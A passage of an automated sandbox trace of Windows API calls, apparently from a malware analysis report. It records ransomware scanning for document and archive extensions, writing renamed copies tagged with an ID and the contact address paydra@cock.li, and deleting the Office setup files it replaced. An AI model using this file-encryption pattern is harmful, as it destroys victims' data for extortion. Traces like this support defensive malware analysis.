Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.996] lstrlenW (lpString=".1cd") returned 4 [0039.996] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.996] lstrlenW (lpString=".jpg") returned 4 [0039.996] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.996] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.996] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0039.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0039.996] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1606) returned 1 [0039.996] CloseHandle (hObject=0x1c0) returned 1 [0039.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0039.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0039.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0039.996] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.997] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.776] GetLastError () returned 0x0 [0040.776] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x646, lpOverlapped=0x0) returned 1 [0040.778] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x650, lpOverlapped=0x0) returned 1 [0041.153] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.153] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.226] SetEndOfFile (hFile=0x180) returned 1 [0041.226] CloseHandle (hObject=0x180) returned 1 [0041.227] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.227] SetEndOfFile (hFile=0x1c0) returned 1 [0041.228] CloseHandle (hObject=0x1c0) returned 1 [0041.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.228] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0041.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.228] lstrlenW (lpString=".doc") returned 4 [0041.228] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.229] lstrlenW (lpString=".docx") returned 5 [0041.229] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.229] lstrlenW (lpString=".pdf") returned 4 [0041.229] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.229] lstrlenW (lpString=".xls") returned 4 [0041.229] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.229] lstrlenW (lpString=".xlsx") returned 5 [0041.229] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.229] lstrlenW (lpString=".ppt") returned 4 [0041.229] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.229] lstrlenW (lpString=".zip") returned 4 [0041.229] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.229] lstrlenW (lpString=".rar") returned 4 [0041.229] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.229] lstrlenW (lpString=".bz2") returned 4 [0041.229] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.229] lstrlenW (lpString=".7z") returned 3 [0041.229] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.229] lstrlenW (lpString=".dbf") returned 4 [0041.229] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.229] lstrlenW (lpString=".1cd") returned 4 [0041.229] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.229] lstrlenW (lpString=".jpg") returned 4 [0041.229] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.229] lstrlenW (lpString=".doc") returned 4 [0041.229] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.230] lstrlenW (lpString=".docx") returned 5 [0041.230] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.230] lstrlenW (lpString=".pdf") returned 4 [0041.230] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.230] lstrlenW (lpString=".xls") returned 4 [0041.230] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.230] lstrlenW (lpString=".xlsx") returned 5 [0041.230] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.230] lstrlenW (lpString=".ppt") returned 4 [0041.230] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.230] lstrlenW (lpString=".zip") returned 4 [0041.230] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.230] lstrlenW (lpString=".rar") returned 4 [0041.230] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.230] lstrlenW (lpString=".bz2") returned 4 [0041.230] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.230] lstrlenW (lpString=".7z") returned 3 [0041.230] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.230] lstrlenW (lpString=".dbf") returned 4 [0041.230] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.230] lstrlenW (lpString=".1cd") returned 4 [0041.230] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0041.230] lstrlenW (lpString=".jpg") returned 4 [0041.230] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.230] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.231] lstrlenW (lpString="Proof.XML") returned 9 [0041.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.231] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1458) returned 1 [0041.231] CloseHandle (hObject=0x1c0) returned 1 [0041.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0041.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.231] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.231] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0041.232] GetLastError () returned 0x0 [0041.232] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0041.387] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0041.387] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.387] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.387] SetEndOfFile (hFile=0x180) returned 1 [0041.388] CloseHandle (hObject=0x180) returned 1 [0041.388] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.388] SetEndOfFile (hFile=0x1c0) returned 1 [0041.389] CloseHandle (hObject=0x1c0) returned 1 [0041.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.390] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.390] lstrlenW (lpString=".doc") returned 4 [0041.390] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.390] lstrlenW (lpString=".docx") returned 5 [0041.390] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0041.390] lstrlenW (lpString=".pdf") returned 4 [0041.390] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.390] lstrlenW (lpString=".xls") returned 4 [0041.390] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.390] lstrlenW (lpString=".xlsx") returned 5 [0041.390] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0041.390] lstrlenW (lpString=".ppt") returned 4 [0041.390] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.390] lstrlenW (lpString=".zip") returned 4 [0041.390] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.390] lstrlenW (lpString=".rar") returned 4 [0041.390] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.390] lstrlenW (lpString=".bz2") returned 4 [0041.390] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.390] lstrlenW (lpString=".7z") returned 3 [0041.390] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.390] lstrlenW (lpString=".dbf") returned 4 [0041.390] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.391] lstrlenW (lpString=".1cd") returned 4 [0041.391] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.391] lstrlenW (lpString=".jpg") returned 4 [0041.391] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.391] lstrlenW (lpString=".doc") returned 4 [0041.391] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString=".docx") returned 5 [0041.391] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0041.391] lstrlenW (lpString=".pdf") returned 4 [0041.391] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString=".xls") returned 4 [0041.391] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString=".xlsx") returned 5 [0041.391] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0041.391] lstrlenW (lpString=".ppt") returned 4 [0041.391] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.391] lstrlenW (lpString=".zip") returned 4 [0041.391] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.391] lstrlenW (lpString=".rar") returned 4 [0041.391] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString=".bz2") returned 4 [0041.391] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString=".7z") returned 3 [0041.391] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.391] lstrlenW (lpString=".dbf") returned 4 [0041.391] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.391] lstrlenW (lpString=".1cd") returned 4 [0041.391] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0041.392] lstrlenW (lpString=".jpg") returned 4 [0041.392] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.498] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.498] lstrlenW (lpString="SETUP.XML") returned 9 [0041.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.499] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=5884) returned 1 [0041.499] CloseHandle (hObject=0x1e8) returned 1 [0041.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0041.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.499] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.499] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.501] GetLastError () returned 0x0 [0041.501] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0041.504] WriteFile (in: hFile=0x188, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0041.505] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.505] WriteFile (in: hFile=0x188, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.505] SetEndOfFile (hFile=0x188) returned 1 [0041.506] CloseHandle (hObject=0x188) returned 1 [0041.506] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.506] SetEndOfFile (hFile=0x1e8) returned 1 [0041.507] CloseHandle (hObject=0x1e8) returned 1 [0041.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.507] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0041.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.508] lstrlenW (lpString=".doc") returned 4 [0041.508] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.508] lstrlenW (lpString=".docx") returned 5 [0041.508] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.508] lstrlenW (lpString=".pdf") returned 4 [0041.508] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.508] lstrlenW (lpString=".xls") returned 4 [0041.508] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.508] lstrlenW (lpString=".xlsx") returned 5 [0041.508] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.508] lstrlenW (lpString=".ppt") returned 4 [0041.508] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.508] lstrlenW (lpString=".zip") returned 4 [0041.508] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.508] lstrlenW (lpString=".rar") returned 4 [0041.508] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.508] lstrlenW (lpString=".bz2") returned 4 [0041.508] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.508] lstrlenW (lpString=".7z") returned 3 [0041.508] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.508] lstrlenW (lpString=".dbf") returned 4 [0041.508] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.508] lstrlenW (lpString=".1cd") returned 4 [0041.508] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.508] lstrlenW (lpString=".jpg") returned 4 [0041.508] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0041.509] lstrlenW (lpString=".doc") returned 4 [0041.509] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.509] lstrlenW (lpString=".docx") returned 5 [0041.509] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.509] lstrlenW (lpString=".pdf") returned 4 [0041.509] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.509] lstrlenW (lpString=".xls") returned 4 [0041.509] 